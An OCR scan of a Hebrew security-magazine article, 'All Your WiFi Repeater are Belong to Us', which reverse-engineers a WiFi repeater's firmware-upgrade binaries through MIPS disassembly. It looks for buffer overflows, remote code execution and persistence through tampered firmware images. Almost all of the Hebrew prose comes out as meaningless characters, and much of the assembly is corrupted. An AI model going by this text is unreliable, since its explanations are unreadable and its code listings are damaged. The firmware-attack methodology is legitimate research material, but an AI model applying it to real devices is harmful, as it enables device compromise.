IN 0T DX 7 W' IR "naT” e Rt nine ot Nim TR DYN NI L [IWRIN A7Un L, NyT?
-1 'OX77 WIN'Y? nlT At AT INNDY yIanY? at TINn vyn N7 SSREA X nkynw yana M7 ke

.SSRF

"N DM DR INYN NNI? UTnE MY 1NN 12T A TANY N 12) YN Q%N
uncompylenx jamai ,Shellnimo? yaip nityn? 9y nmawn D SSKEh %y a1 N2 DWwipn
NIMYIN M7 o'tunnel 19on NIYY? 1Y 'Y DTN DR 120K .NNAWY MY 11100 AINKD

12700 X7,170'0 7W NINNO'ON 7V NI7327 21an Nl NIfon

NIXN7 CWWONR N7 2%wa noiona MAGH 9w nmxn NN o'wonn oX X "« <EasterEggs ¢ 1 -

http://phazr.net :xin 2170 ...|*2yn 'wmNn TN N7V NPOYNAY 111970 NNANA NAITAY

NNUDNNO97 TN L,NINI DY DNNY UMY ANKD NAITA D QIY D 7vn i 'wen A7en
n'n DS NN MS? 01T 7y aiwn? na REnwy7 IDAY Y1977 2wt X71 D'OIWD DNATA KNT

.TnN1 TIRN

D' X .AX2N N1Yd MAaNKd At on NIXTT D'9¥NI1 MANKN DX IN97 1101 TINA 790 102
Nt 190N N |NNS NX 2IN271 MANKN DX 1INDY 1220 1IXY '9) NINDY7 MMNNN DX/ DNNY
J

Thank you for playing

It was a pleasure___
See you again next fime ;)

MANKRN NN91 N7 NTYW .1 W AW L (Q)p.X7nTin

5T ninwnn 7w Easter Egg nx'xn 7y xY7 TN

'N X0 - 2018 Tomn 7w o1an Mankx |INNoO
www.DigitalWhisper.co.il
37 2018 194 T x 4 L ¥



http://phazr.net/

Technologic

All Your WiFi Repeater are Belong to Us

2770 - NI 7'7an 210N NMIYEN 21 72V N7 nn

'90D MV NXN

'X 772 Repeatenion MIYpPNN 201 7V My¥ v NIY2INN 17NN 7¢ JUnnn NIX A'¥N DT 1R

J'Tann 7w 86 |1'7'a2 noNIdY

Firmwaré®*n nx 97nn? 7o ywas € % 4 1~ L napanwan SR vk N7 mxna
200N Y
Flox oS . . x x 7

.20 7v Remote Code Executianizid' 17 wr 12 2x¥n7 nvan 0Tipn 1NN

:N1722an 190N I'N N7
NN o'wonn N aNKR? i 4 T pap nowwna v yant? 10 nvnw oawean Ll

27N 7V NUWN IR DTN TAN N7YnY

NPT 0'72am A P21 (0N 25) e non' At NIMPS N7 2 nwnnwnw Buffern .2
uxa? n'nw

(]2 NX DY IR NIVERD 7'9n7 N17D) 2N Y MIYENN 7NN 7 uIwe 7D X7 .3

1990 NI72ann DR qIpY7 T Myxaw 01%7wn 795 DR AN MRnn Y T 7na

nyonn NN nirAYy Nt It Embedded'wana 'wann Y nninn 1Ivena Niwpn Mdima 77nn - Firmware™

All Your WiFi Repeater are Belong to Us
www.DigitalWhisper.co.il

38 2018 194 T x 4L ¥

ASN

.I

S



Technoloqgic

Buffer-s Ly s

‘NN NITNNNA 75nonY 'wni webupgowa CGlyalpa npatnn NX 1IIN¥N NNAYY DYO]

[s] rodata:00405F... DODDDD32 C upgrader -c %s -p %5 -u %s -w %s =/var/upgrader.log 2> &1
E .rodata:00405F... 00000005 C user
[s] rodata:00405F... DODDDDDY C password
[s] rodata:D0405F... DODODODS C port
[s] .rodata:00405F... 0OODODOA C image.img
[s] rodata:00405F... DODDDDDY C hitps://
[s] .rodata:00405F... DODODOGO C cd fvar/;/usr/bin/wget --no-check-certificate https:// %5 %s/%s -0 image.img > /var/wget.log 2> &1
[s] rodata:00405F... DODDDDES C cd fvarf;/usr/binfwget --no-check-certificate https://%s:%6s@ %s: %5/ %s -0 image.img > /var/wget.log 2> &1
[s] rodata:D04060... DODODOT6 C rm fvar/image.img -rf
[s] rodata:004060... DODDDDTS C rm fvar/wget.log -rf
‘s’ .rodata:004060... ODDODOOE C fvarfwget.log
's’| .rodata:004060... 00000005 C 100%
‘s’ .rodata:004060... 00000008 C http://
's'| .rodata:004060... 00000048 C cd fvar/i/usr/bin/wget http://%s:%s/%s -0 image.img > /var/wget.log 2> &1
‘s’ .rodata:004060... ODD0D04E C cd /var/;/usr/bin/wget http://%s: %6s@ Yas: %5/ %s -0 image.img > fvar/wget.log 2> &1
‘s’ .rodata:004061... 00000006 C saved
‘s’| .rodata:004061... 00000007 C fp//
‘s’ .rodata:004061... 00000047 C cd /fvar/;/usr/bin/wget ftp:// s %as/%s -0 image.img = fvarfwget.log 2> &1
's'| .rodata:004061... 0000004D C cd fvarfi/usr/bin/wget ftp:// %s: %@ %s:%s/ %s -0 image.img > /var/wget.log 2> &1
‘s’ .rodata:004061... 00000044 C Susr/bin/tftp -g -r %s -l fvar/image.img %s %5 > fvar/tftp.log 2= &1n
‘s’ .rodata:004062... 00000015 C rm fvar/tftp.log -rf
C

|

rodata:004062... 0000000D #|/bin/sh\n%s

TFTPY 7w nTinnna 7>noa

[ 2]
bl =
loc_4@85@5C:
Iw $va, @xl48+var_128(%sp) # Load Word
addiu $s1, $sp, Ox148+var_118 # Add Immediate Unsigned
1w %$a3, @x148+var_118(%sp) # Load Word
lui $a2, ox48 # Load Upper Immediate
move $a@, $s1 # s
sw $ve, @xl48+var_138(%sp) # Store Word
la $a2, aUsrBinTftpGRSL # “/usr/bin/tftp -g -r ¥s -1 /var/image.im"...
1w $ve, @xl4s8+var_11C($sp) # Load Word
1i $al, @x1e8 # maxlen
1a $t9, snprintf # Load Address
jalr $t9 ; snprintf # Jump And Link Register
sw $vd, @x148+var_134(%sp) # Store Word
lui $a@, @x48 # Load Upper Immediate
In $gp, @xl48+var_138(%sp) # Load Word
1a $t9, system # Load Address
jalr $t9 ; system # Jump And Link Register
1a $a@, aRmVarImageImgR # “rm /var/image.img -rf"
lui $a@, @x48 # Load Upper Immediate
1w $gp, @x148+var_138(%sp) # Load Word
1a $t3, system # Load Address
jalr $t9 ; system # Jump And Link Register
la $a@, aRmVarTftpLoghRf # "rm /var/tftp.log -rf"
lui $a@, @x48 # Load Upper Immediate
move $al, $s1
jal UPG_CreateScript # Jump And Link
la %a@, aBinShs # "#!/bin/sh\n&s"
1i v, 1 # Load Immediate
In $gp, @xl48+var_138(%sp) # Load Word
lui $al, @x4e # Load Upper Immediate
W $v@, @xl48+var_138(%sp) # Store Word
Tui $va, @xdl # Load Upper Immediate
1a $t9, PC_StateMachine # Load Address
la $v@, s_ucTftpStateMachine # Load Address
lui $a3, ox4e # Load Upper Immediate
la $al, aTftp # "tftp"”
1a $a3, UPG_ProcCtrl # Load Address
move %a@, %zero
sw $ve, @xl4s8+var_134(%sp) # Store Word
jalr $t9 ; PC_StateMachine # Jump And Link Register
1i a2, 1 # Load Immediate
In $gp, @xl48+var_138(%sp) # Load Word
bnez $ve, loc_4651C8 # Branch on Not Zero
lui $v@, ex44D # Load Upper Immediate

,NPTA7 0N 188 17 WXwa nnnw a1Mv0 7y o'in 256 Y1iaa Buffera o'wnnwn nyonw nxa

A7 AN DN NN wnnwn? 72 nm Bufferoy
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* L Persistehcy -

22100 21N DXY DR NIXAADIPEN DX MIY 1A' 12 27N NN |7I'I'J'7 N oY [TUXRAN [N

IX IR 7Y AR0ARN DX MW7 10w oim 17 W Ak ) v WiFE nkno'o Nk 1muy

.persistencyarwin’? 1o NN DIPN2 WNNwWn? DIx

:DWI NI'Myn NIYPIID NNd 'MX¥Nl webupgyalza won? 'Mm7nnin
1 UPGCGI_DoConfig_Upgrade

1 UPGCGI_DoFirmware_Upgrade
1 UPGCGI_DownloadFile

MIY 'WOMN IR AN 1 Firmwaren ntiaoapn YW anTwn 170N NR NIRNNNn? Ny

:UPGCGI_DownloadFitexjz119n 7y 75n01 .y1ajp [91x2 DNAT

il () =

globl UPGLGI_DownloadFile
UPGLGT_DownloadFile:

var_448= -8xdde
var_43(= -8x43(
var_438= -8x4318

Ad 5@ Hvar 4"&.&5‘:” g
A534+var 4"5(5:pj

S8, loc 482218 N Branch on Less Than Zero

L J
il =0
babez 3wl, loc_ 482804
lui 3wl, Bxde

lui $a@, Bxd@ pper Inmediate
la Ive, af -

la 328, allpgrader uf

Sw Ive, BxdSe+var -1-1'|.($=.p_:|
lui Ive, exdd
mowe $al, ja@ " =lg,

la 3ve, avarImageImg !

lui $a2, oxd8 (I
Sw Ive, BxdSe+var 4]\(5:4.1}

la e,

lui $a3, &

Sl R, &

lui R, &

la 39, execlp

la e, alJnggi

la fal,

la $al; asc_J3GSAE "2

s Tud, 1.::4'1:‘+\r.e| 4340 55 p_:l
jalr s clp Aur
S $zero; 1.::4'1:‘+\r.e| 4"'1.(55p_:|
1w 3gp; SxdSd+var 4IE{fsp)

X
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:upgradernwa 727 K17 YUK WTN ProcessNIXI' N'¥7IoNY NN

Y
Mz
loc_4@8351C:
la $t3, stromp # Load Address
move a8, $s8 # s1
jalr $t3 ; strcmp # Jump And Link Register
addiu  $al, (aDownloadconfig - @x48@888) # "downloadConfig”
1w $ep, @x38+var_28(%sp) # Load Word
bnez $v@, loc_ 483548 # Branch on Not Zero
lui $al, ex4e # Load Upper Immediate

miIx 7arv downloadConfighun1on oy 217 M9 WX .97 kN7 1 downloadConfig

AXWI DNSTMAW (120 DNAT 7w A9 MIY XINW 27 D'wa 7K Yalpn 73 7 1Ay X7 [am)d

NN DX 700 TR XMLyalp 7w awnnn IR T, 0104

<X TWSZ-COM UsrDNSServers t="s"></X TWSZ-COM UsrDNJ

(DN#Servers t="s"></DNSServers>

<DNSOverrideRllowed t="b">0</DNSOverrideillowed>

<DNSEnabled t="b">1</DNSEnabled>

addiu  $sp, -@x50@ # Add Immediate Unsigned
SW $ra, @xSe+var_4($sp) # Store Word
1i $gp, @x41E360 # Load Immediate
sw $gp, @x58+var_28(%sp) # Store Word
la $t9, fork # Load Address
jalr $t9 ; fork # Jump And Link Register
sW $zero, @x58+var_18(%sp) # Store Word
1w $gp, @x58+var_2@8(%sp) # Load Word
bltz $v@, loc_402624 # Branch on Less Than Zero
nop
.
A J
I
bnez $v@, loc_4@1FE@ # Branch on Not Zero
lui $v@, Ox48 # Load Upper Immediate
%I
il e 5
lui $a@, @x4d # Load Upper Immediate
la $ve, aP # "-p"
la $a@, aUpgrader # "upgrader”
W $v@, @x5e+var_48(%sp) # Store Word
Tui $v8, Bx48 # Load Upper Immediate
move %al, $a@ # arg
1a $ve, aVarConfigImg # “/var/config.img"”
lui $a2, @x4d # Load Upper Immediate
W $v@, @x5e+var_3C(%sp) # Store Word
1a $ve, al # "-u"
Tui $a3, @x4d # Load Upper Immediate
sw $ve, exSe+var_38(%sp) # Store Word
la $v@, alpgcgi # "UPGCGI"
la %a2, aC # "-c"
W v, @x5e+var_34(%sp) # Store Word
1a Sve, aM # "-m"
1a $a3, asc_485988 # "3
sw $ve, exSe+var_38(%sp) # Store Word
lui $v@, @x42 # Load Upper Immediate
la $t9, execlp # Load Address
1a $v8, s_DeviceMode # Load Address
W $v8, @x5e+var_2C(%sp) # Store Word
jalr $t9 ; execlp # Jump And Link Register
sw $zero, @x5@+var_28($sp) # Store Word
Iw $gp, @x5e+var_2@8(%sp) # Load Word

'

:UPGCGI_DoConfig_Upgratejzaion 2y 75n01 .ninyn niMIIYen NNTaN
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YAl 17 W WOy NI Anmmipn IR NTY7 T aNTwn "% DRIp XN DAY DR

-0 NMT NannY M 2w P nun DNSw (knarm?) 0w mix Ny n pn axiaioaip

DY'WON 7V NIVNWN YwNN? N9'PN 1071IE NI 71D 0T ,00'7Y [1DK IRW DNK? v Repeater

J2pn 7w n'oon

ox " firmware-n ANTY '7nN2 'wdyn Tpnna Y'wonn 7y persistencerwn? nrxin RY 11N X

.NXIY NN NIWY? 1'won? 0na? o0 - 77pn IX 0'¥apn Ndvn DR 97007 'on

:DMAY AR IN firmware-n yaipw [nw'73 NN NI W DRN '72N01

el TEP> e
la $t9, strdup # Load Address
jalr $t9 ; strdup # Jump And Link Register
movn $a@, ve, Ive # s
1a $al, aFirmware # "firmware’
move  $a@, $uB
jal safe_strcmp # Jump And Link
move $s@, vo
bnez $v@, loc_4@37F@ # Branch on Not Zero
lui $al, ox40 # Load Upper Immediate
h J h J
UPGCGI_CalcImgSize # Jump And Link
loc_4@37F8:
move $a0, $s0 3a@, aVarImageImg # "/var/image.img"
jal safe_stremp # Jump And L $az, $ve # max_image_size
addiu  $al, (aConfig - ex4eeees) *# $al, @x2@ # min_image size
bnez $ve, loc_4@3834 # Branch o t Zero UPGCGI_UploadSingleFile # Jump And Link
lui $a1, @xae # Load Upper Immediate $a3, 1 # type
$v@, loc_4837CC # Branch on Not Zero
$s1, $v@
A i _ A i
ll et 5
Jal UPGCAT_DoFirmwareUpgrade # Jump And Link
34: nop
3aB, $s50 move $s1, $v@
safe_stromp # Jump And Link
$al, (aUploadauthfile - @xd4ee@ee) # "uploadAuthFile”
$ve, loc_483858 # Branch on Not Zero
3a1, @x48 # Load Upper Immediate
3 Y y Y
$a@, x40 # Load Upper Immediate
8581 $al, ox20 # min_image_size loc_4@37CC:
$a@, $s@ $a@, avarConfigImg # "/var/config.img" 1i $wB, Bx456232A # Load Immediate
safe_strcmp # Jump And Link $a2, 8 # max_image size beq $s1, $v@, loc_4@3B78 # Branch on Equal
$al, (aUploadtr@69aut - Bx4@8800) # "uploadTRBE9AuThFile” UPGCGI_UploadsingleFile # Jump And Link| |lui $v@, Bxd55 # Load Upper Immediate
$v@, loc_483BF@ # Branch on Not Zero $a3, $zero # type
$s1, Bx453 # Load Upper Immediate 3v8, loc_4@83A38 # Branch on Not Zero

$s1, Sve

X7 NN

N¥IADAIR 27U NPna) NIz bal Firmwaren YW najpna oa NIk N nd

ANTYN X171 0 ntnn ki nT'na 7 UPGCGI_UploadSinglezaion nkajza (namn'7 noamn

4 2
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:D'0AI7N D'P7NN DX

77 N'¥2191 V9]

bl e [=

loc_4@2C9C:
la $t9, remove_CRLF_and_sawve_buffer # Load Address
lui $s508, ax42 # Load Upper Immediate
addiu  $a@, $s@, (sLineBuffer - @x420008) # original_buffer
addiu $al, $sp, @x1@s+n # size
jalr $t9 ; remove_CRLF_and_save_buffer # Jump And Link Register
addiu %$a2, $sp, @xl@3+var_EC # buffer
addiu $a@, $s@, (sLineBuffer - @x428008) # ptr
move $a3, $s1 # =
1w $gp, @xles+var_F8(%sp) # Load Word
1i al, 1 # size
1w $a2, @x1@s8+n(%sp) # n
1a $t9, fwrite # Load Address
jalr $t9 ; fwrite # Jump And Link Register
1a $s@, sLineBuffer # Load Address
move $v@, $zero
1w $gp, @xles+var_F8(%sp) # Load Word
addiu $a@, $sp, @xles4var_E@ # sl
1i $vl, 8xB # Load Immediate
2 ]
loc_482CE4:
addu $a2, $s0, Tve # Add Unsigned
addu %al, %a@, Fve # Add Unsigned
1bu %$a2, @x20(%a2) # Load Byte Unsigned
addiu v, 1 # Add Immediate Unsigned
bne $v@, $vl, loc_4@2CE4 # Branch on Not Equal
sb $a2, @(%al) # Store Byte
'*_l
Pz
1a $t9, strncasecmp # Load Address
lui $al, @x48 # Load Upper Immediate
sb $zero, @x1@8+var D5($sp) # Store Byte
la $al, aDracoDbAp # "DRACO_DB_AP"
jalr $t9 ; strncasecmp # Jump And Link Register
1i a2, @xB #n
1w $gp, @x1@8+var_F&(%sp) # Load Word
bnez $ve, loc_482D07@ # Branch on Not Zero
nop

i

-0 7w 710 NTY n721 qwnnl) nvmwe yalgnn oA 112 o'k firmware anTwa Narmi nTna

"DRACO_DB_ARYN Dy ntnnn v ox 07T buffer-7 npnyn anx (anTwn yaip 9w Header

Y2l 7w 772 NiptTan Yin nimyn NI DY 'R )27 1avn ,yaign n'7'nnn 32 vona

T upgradernwa mx12 NIk nunnwn UPGCGI_DoFirmware_Upgraagziion na ' 17 n'wa

0T Y2 7V 75N01 2aNTwUN 170N INXR DIpRNNY 'wnn’ © 7 firmware-n nx aTwh

77NN 7w INKYT? NOTINN NTIAY DX I0N7 "D X' 7W ANXA ANTY YAl WON7 Mo |y v

0TI YaIj7 DO'D X7 X' X ANTYUN
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Down the rabbit hole we go

N7NNRNY 7INNIRN NU¥7197 NRMP7 12ynw RN [daa upgraderyalpn DX D'NNID 1INIX TWUKRD

N7 INFANY DMVNNO9N DX NN0Y9N1 NX7172 ¥ NN LIPC API

=W $al, OXIIBfargv($sp) = Store word

jalr $t9 ; memset # Jump And Link Register
move %al, %zero #c

move 3a@, $s5 # =

move 3al, $zero #c

In $gp, @x1l8+var_F8($sp) # Load Word

la $t9, memset # Load Address

jalr $t9 ; memset # Jump And Link Register
1i a2, Ox48 #n

jal UPG_ModuleInit  # Jump And Link

nop

In $gp, @x1l8+var_FB8($sp) # Load Word

bnez $ve, loc_4824C8 # Branch on Not Zero
lui $fp, x4 # Load Upper Immediate

A
P
lui $s7, @xdd # Load Upper Immediate
Jui $s6, Gudd # Load Upper Immediate
la $ﬁJ) aCPUWM # "ciprutwim:”
sw $s@, @x118+dest($sp) e Word
la $s7, a54d2@sFuhuopin # d ¥2@s: fuhuoping: #s.\n"
la %56, aUpg frw_c # "upg ¥
move 3s@8, $zero
move 1_value, $zero
move w_value, Fzero
la $s1, optarg # Load Address
b loc_4826C8 # Branch Always
move c_value, %zero
i vy f YV§
[l (=
loc_4826C8:
1a $t9, getopt # Load Address
1w $a@, @xlld+argc($sp) # argc
1w %al, @xlls+argv($sp) # argv
jalr $t9 ; getopt # Jump And Link Register
move %az2, $fp # shortopts
1i $vl, OxFFFFFFFF # Load Immediate
1w $gp, @xll8+var_FB8($sp) # Load Word
bne $ve, $vl, loc_4@24E8 # Branch on Mot Equal
nop

[

N7 IN DNYXN 0N W NXNIN DK UYIWR 7Y DTN X7 wnwn IPC ARh

N1 .12 TPANKR X7 D7 179 nun? '0a X7 KN R 7"10 APEY DR DA 1INKY 'Momng Y7 v
D'AYNY DNIVNI5N TNKX .0'VINIATXR 10197 NIN 7V getopt N'¥ZIID] NYNNWA N'YI9NY NIRYY
nn

2277 vy "R NoIRD - M17) " 0TI9I NN XY DTN 7 7w NNt R N9

m,w,u,p,c:0n

7w Inn XN getopt 7w NATRNN 1Y) DYON 'TNN getopt 72aT NT'R DY 70 N TIAl XY NY7IoN

.(0M019n yadw AT

:NYOIN 72 7V NP 10N

ANTY |"¥n 1 D WX YN A7won DX M wr 372 1 eson 1w e s 4 - X .

ANIIADIIP YAl NAMD 3 YN NI AR YAl RN |t¥n 2 1wn firmware

All Your WWFi Repeater are Belong to Us
www.DigitalWhisper.co.il
44 2018 1 94

X 4L Y



Technologic

,/NNN N'XIADIAPN - firmware anTwa 0 NIN 7wl nTna .0 Ik 1 Mvon Y w

7w WD D' AT ATYIAARN DX KNP 17N DX 017D ,N71V97 wnw'y yalpn DY P

MINIY NTNNNAN DX Tayn "20 WX ,"707 X7 Processnt'X N1''xn YUK Nrnnn :u

JNRW AXAIAOdIZN NNNK

AT NUNY YNW'Y YaIgn AT - ANTY IX N9 N2 1NN DX ,X7'Y YAl

I

# int _ cdecl UPG_GetUserMID(char *caller_name)
.globl UPG_GetUserMID
UPG_GetUserMID:
var_le= -@xle
var_g= -8
var_d4= -4
addiu  $sp, -@x2@ # Add Immediate Unsigned
W $ra, @x2e4var_4(%sp) # Store Word
W $s8, ex2e4var_B(%$sp) # Store Word
1i $gp, @x41C178@ # Load Immediate
W $gp, @x28+var_1@($sp) # Store Word
lui $al, @x4@ # Load Upper Immediate
1a $t9, strcmp # Load Address
la $al, aUpgcgi # "UPGCGI"
jalr $t9 ; strcmp # Jump And Link Register
move =8, a8
In $gp, @x284var_1@8(%sp) # Load Word
beqz $v@, loc_4@@F78 # Branch on Zero
1i $vl, @xDal # Load Immediate
I
_ A J
FEZE]
1a $t9, strcmp # Load Address
lui $al, @x4@ # Load Upper Immediate
move a8, =0 # sl
jalr $t9 ; strcmp # Jump And Link Register
la $al, aTr@ss # "TRBEI"
In $gp, @x284var_1@8(%sp) # Load Word
beqz $v@, loc_4@@F78 # Branch on Zero
1i $vl, Bx18E # Load Immediate
L
FEZE]
1a $t9, strcmp # Load Address
lui $al, @x4@ # Load Upper Immediate
move a8, =0 # sl
jalr $t9 ; strcmp # Jump And Link Register
la $al, aFtpupg # “"FTPUPG"
In $gp, @x284var_1@8(%sp) # Load Word
beqz $v@, loc_4@@F78 # Branch on Zero
1i $vl, BxE@L # Load Immediate

ID-7 DNIX Y'nl D'-pfOCGSS‘?U YR IT AW 7m NTNNNN NN PTIA RIN IT N'XOIXA A7

.NIRNN XY NYTIN NO9TING -1 2aThim XX X7 XNl nTmna . IPC ARh nn7w

207 Xpw processn v ID-n Xinw ,MID-n NX N1''¥n QWK NTINNN M

s 4. fx

s 4. X«

s 4. .

s 4. x .
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Ji0wnn 9w Logn 7nna 0 avini nmna 17 0 raw

.UPG_Updatelmgwa niyn n'¥11o ' yaipa

s 4. fx .

var_128= -8x126
var_11E= -@x11E
var_20= -6x26
var_1C= -@x1C
var_18= -@x18
var_14= -ex14
var_10= -@x1@
var_C= -@xC
var_g= -8
var_4= -4

addiu  $sp, -Bx238 # Add Immediate Unsigned
£ $ra, @x238+var_s($sp) # St
sw $56, Ox238+var_8(Ssp)
sw $s5, @x238+var_C($sp) ¥ St
sw $s4, Bx238+var_10(5sp)
sw $s3, @x238+var_14($sp)
sw $s2, Bx238+var_18($sp)
sw $s1, @x238+var_1C($sp)
EY $50, @x238+var_20(%sp) r
1i $gp, @x41C178 # Load Immedi
sw $gp, @x238B+var_228(3sp) #
1a $t9, access # Load Add
move  §s0, 3a0

lui $a0, ox40 # Load Upper Immediate

move $s5, $al

1a $a@, avarUpdate_img # "/var/update img”
move $al, $zero # type

move $s1, $a2

jalr  $t9 ; access # Jump And Link Register
andi  $s2, $a3, OXFFFF # AND Immediate

i $gp, Ox238+var_228($sp) # r
beqz $ve, loc_402340 ranch o
lui $20, @x40 oad Upper Immediate

all s =
1la $t9, access

1a $a@, aVarUpdate bi
jalr  $t9 ; access # Jump And Link Register
move  $al, $zerc # type

1w $gp, Bx23&+var_228($sp) # Load word
beqz  $v@, loc_48234@ # Branch on Zero

nop

FEE

jal
move
beqz
move

UP6_CheckValid # Jump And Link
520, 350
5ve, loc 462184 # Branch on Zero
%50, $ve

[Pn NXY? .update_birl update_img:nmwa n'¥ap AW D' DXN PTAY TIpn 7w AT pna
nirxern 0'pnna L0 rnn ar axzavl nTna ,UPG_CheckValmwa nrxjza197 nxaip n'xzaion

N'X2190 7V iy 75N01 .NIr0A7IN NIFYOIRD IR N7 YAIR? ARMPN DX DN 7w D'-log-ni

NPT A'YAoN 0T 1R 72noa UPG_CheckValid

P

.globl uPe_Checkvalid
UPG_Checkvalid:

var_E@= -8xE@

flash_size_string= -@xDs

thirty two_bytes_from_end of_file= -8xB8
img_or_bin_string_in file= -@x93
var_S94= -8x94

kernel_and_squashfs_size= -exse

var_7(= -8x7C

logging_var= -@x2@

var_ld= -8x14

var_18= -8x1é

var_C= -@wC

var_8= -8

var_4= -4

addiu  $sp, -BxF@ # Add Immediate Unsigned
sW $ra, @xFet+var_4($sp) # Store Word

W $s3, @xFedvar_B(%sp) #

sw $s2, @xFed+var_C(%sp) # v

W $s1, @xFe+var_10(%sp) # Store d

sw $s8, @xFet+var_14($sp) # Store Word

1i fgp, @x41C170 # Load Immediate

sw $gp, @xFe+var E@($sp) # Store Word
jal UPG_CheckSum # Jump And Link

move $s8, %ad

1w fgp, OxFe+var E@(%sp) # Load Word
beqz fve, loc_4@1184 # Branch on Zero

Jui $20, Ow48 # Load Upper Immediate
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oD'M 4-7 nnwnl yaign 7w checksurmn MR NAwNN YUK N90I1 N'XjAI97 NXIIZ N'¥jI9N

(yaipn 7w awinnin checksumn ni'n7 1Mk n7xn 0'Na 4-aw 'on 7511 P7) yalpn 7w Dunnxn

] Y

FEIE

loc_4@119C:

la $t9, fread # Load Address

addiu  $a@, $sp, @xFe+thirty two_bytes from end of_file # ptr

move $a3, %s@ # stream

1i $al, Bx24 # zize

jalr $t9 ; fread # Jump And Link Register

1i a2, 1 #n

move $s1, $ve

1i $ve, 1 # Load Immediate

1w $gp, @xFe+var_EB(%sp) # Load Word

beq $s1, $v@, loc_4@11E4 # Branch on Equal

Lui $a@, ox40 # Load Upper Immediate

Y

loc_4@11E4:
1a $t9, strcmp # Load Address
la %al, (aVarUpdate_bin+@xC) # s2
jalr $t9 ; strcmp # Jump And Link Register
addiu  $a@, $sp, @xFe+img or bin string in file # s1
1w $gp, OxF@+var E@($sp) # Load Word
bnez $ve, loc_4@13B8 # Branch on Not Zero
move a@, %s@ # stream

7R 7w nanwnn) o 36 NI ion 1197 0'na 40-7 yalpn W jnon DX DT N'Y190
NTNNNY7 DY XY Y RN NKRY (checksurmn NX 'mawnn X7 D qion 197 0'Na 32 X

:(imagel bin anTw 010 "W w'w Ak Ywnnl) "bin”

FEE] FIZE
la $ta, open # Load Address
1a $ae, aProcLlconfigfl = "/ nfig/flash_size” Loc_481488:
jalr  $t9 ; open # Jump And Link Register 1a $t9, open # Load
move  3al, $zero # oflag 1a $a8, aProcllconfiglm # “/p
I $gp, @xF@+var_E@($sp) # Load Word jalr $t9 ; open # Jump And
bgez  $v@, loc_4@12a4 # Branch on Greater Than or Equal to Zero move  $al, $zero # oflag
move 351, Sve Iw $gp, @xFe+var_E@($sp) # Load Word
bgez $v0, loc_4@1564 # Branch on Greater Than or Equal to Zero
move 358, $u@
[ L
_ L |
ol i (=1
loc_481244:
addiu  $s2, $sp, @xFe+flash_size string # Add Immediate Unsigned|
move  $al, $zero #c
la $t9, memset # Load Address
move $a@, $s2 # s
jalr  $t9 ; memset # Jump And Link Register
1i $a2, @x20 #n
move  $al, $s2 # buf
1i $a2, xA # nbytes
In $gp, xFe+var E@($sp) # Load word
1la 4t9, read # Load Address
jalr  $t9 ; read # Jump And Link Register
move  $a@, $s1 # fd
move  $a@, $s2 # nptr
move  $al, $zero # endptr
In 4gp, @xFetvar_EB($sp) # Load Word
1i $a2, @x1e # base
1a $t9, streol # Load Address
jalr $t9 ; striol # Jump And Link Register
move  $s3, Sv@
move  $s2, $v@
1 $v@, @xFFFFFFFF  # Load Immediat
In Sgp, @xFé+var E@($sp) # Load
bne $s3, $v@, loc_4812(C # B n Not Equal
Lui Sal, x40 # Load Upper Immediate

ANKN 17 Uty T W ,0x80000087 nnw 1>1y) flash_sizenwa yaip X pa nuw nirnnNAnl nT'na

2Yaipn w9127 nnwni ()
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:0wn atnmi var ntp'na "update_birl owa 0 yalp axn L, nnw IR o Yainl nT'na

ol et =

loc_461388:

1a $t9, Fseek # Load Address

move  $al, Szero # off

jalr  §t9 ; fseek # Jump And Link Register

move  $a2, $zero # whence

1w $gp, @xFa+var_Ea($sp) rd

bgez $v0, loc_4@14@C # Branc reater Than or Equal t
move 323, $s@ # strean

h ]
ol et =
loc_46146C:
1a $t9, fread # Load Address
addiu  $a®, $sp, @xFo+var 94 ¥ ptr
1i $al, @x70 # size
jalr  $t9 ; fread # Jump And Link Register
1i $a2, 1 #n
1w $gp, exFetvar_Ee($sp) # Load wWord
beq $v@, $s1, loc_481484 + ual
lui $a0, Ox20 # Load Upper Immediate
_ h ]
FEE]
loc_461454:
la $t9, fclose #
jalr  $t9 ; felose # Jump And Link Reg
move $a@, 350 # stream
lui $al, oxde # Load Upper Immediate
1w $gp, @xF@+var_E@($sp) Load Wor
la $al, almgs #
la $t9, stremp ddress
jalr  $t9 ; strcmp # Jump And Link Register
addiu  3a@, $sp, GxFo+var 7C # sl
1w $gp, @xFe+var_Ee($sp) # Load
beqz $ve, loc_481488 # Bran,
lui $a@, ox4e # Load Upper Immediate

DNl 0'NA 112 o'R)7al yaizn N7'NNY 1T Yalpn YW non Ny X7 NITNNNN Y vnl TNl

"imgs' nTNNNN NAIMD Yalza 0'na 24 00NV PT)

ol s =
loc_4@1488:
la $t9, open # Load Address
1a $a@, aProcLlconfigIm
jalr  $t9 ; open # Jump A
move  $al, $zero # oflag
In $gp, @xFa+var EB($sp)
bgez $v0, loc_481584 # Branch o to
move  $50, Sv@
] [
e = i =
loc_401244: loc_401504:
addiu  $s2, $sp, OxFO+flash_size string # Add Immediate Unsigned| |addiu  $s1, $sp, OxFB+flash_size string # Add Inmediate Unsigned
move  $al, $zero #c move  $al, $zero #c
1a $t9, memset # Load Address 1a $t9, memset # Load Address
move %a@, $s2 #s move %a@, %s1 # s
jalr  $t9 ; memset # Jump And Link Regis jalr  $t9 ; memset # Jump And Link Register
1i $a2, 6:x28 #n 1i $a2, @20 #n
move  $al, 82 # buf move  $al, Ssl # buf
1i $a2, GuA # nbytes 1i $a2, @A # nbytes
In $gp, exFe+var_EB($sp) # Load word In $gp, exFe+var_EB($sp) # Load word
1a $t9, read # Load Address 1a $t9, read # Load Address
jalr  $t9 ; read # Jump And Link Regis jalr  $t9 ; read # Jump And Link Register
move  $a@, $sl # fd move  $a@, $s0 # fd
move $a@, $s2 # nptr move $a@, $s1 # nptr
move  $al, Szero # endptr move  $al, $zero # endptr
In $gp, BxFe+var EB($sp) # Load Word In $gp, @xFe+var_EB($sp) # Load Word
1i $a2, ex1e # base 1i $a2, ex1e # base
1a $t9, strtol Addre 1a $t9, streol d A
jalr  $t9 ; strtol Jump And Link Register jalr  $t9 ; strtol A
move  $s3, Sve move  $s1, $v@
move 352, Sv@ 1i $v1, @xFFFFFFFF # Load
1i $v8, BxFFFFFFFF  # Load Immediate 1w $gp, BxFo+var_E@($sp)
In $gp, @xFe+var_EB($sp) # Load Word bne $s1, $vl, loc_4p1508 # Not Equal
bne $s3, $v@, loc_4B12CC # Branch on lui $a8, @x4d # Load Immediate

NIy DY) img_spaceyalpn 7 yaipn n'nnn 20 00'Na 0'NA 4 7w W TR IT NRYTA INRY
DY 7 YAl X - DI IR (O ANTYA yalp N7'Nnn X 710l ntna L,(0x7d0006Y7

.0 win atnmi var nvjp'na update_img

